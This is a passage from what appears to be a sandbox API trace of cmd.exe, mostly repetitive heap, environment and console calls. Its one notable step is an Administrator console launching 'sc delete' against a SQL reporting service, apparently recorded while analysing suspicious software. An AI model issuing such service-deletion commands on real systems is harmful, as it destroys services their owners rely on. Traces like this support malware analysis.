RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.740] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.741] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.741] GetProcessHeap () returned 0x1b0000 [0066.741] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.741] GetProcessHeap () returned 0x1b0000 [0066.741] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.742] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"ReportServer$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"ReportServer$OPTIMA\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x64, dwThreadId=0x57c)) returned 1 [0066.746] CloseHandle (hObject=0x54) returned 1 [0066.746] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.746] GetProcessHeap () returned 0x1b0000 [0066.746] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.746] GetEnvironmentStringsW () returned 0x1d1b10* [0066.746] GetProcessHeap () returned 0x1b0000 [0066.746] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.746] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.746] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.746] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.746] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.789] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.789] CloseHandle (hObject=0x50) returned 1 [0066.789] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.789] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.789] GetProcessHeap () returned 0x1b0000 [0066.789] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.789] GetEnvironmentStringsW () returned 0x1d1b10* [0066.789] GetProcessHeap () returned 0x1b0000 [0066.789] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.789] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.789] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.789] GetProcessHeap () returned 0x1b0000 [0066.789] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.789] GetEnvironmentStringsW () returned 0x1d1b10* [0066.789] GetProcessHeap () returned 0x1b0000 [0066.789] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.789] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.789] GetProcessHeap () returned 0x1b0000 [0066.789] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.789] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.790] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.790] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.790] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.790] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.791] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.791] GetProcessHeap () returned 0x1b0000 [0066.791] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.791] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.791] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.791] GetFileType (hFile=0x120) returned 0x3 [0066.791] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.791] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.792] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.792] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.792] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.792] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.792] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.792] GetFileType (hFile=0x120) returned 0x3 [0066.792] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.792] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.792] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] GetFileType (hFile=0xb8) returned 0x3 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.793] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.793] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.793] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.793] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"ReportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="meportServer$OPTIMA\"\nA\"\n") returned 1 [0066.794] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.794] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.794] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.794] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="sportServer$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="fortServer$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="trtServer$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="etServer$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="sServer$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="qerver$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.795] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="lrver$OPTIMA\"\nA\"\n") returned 1 [0066.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.795] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.795] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: 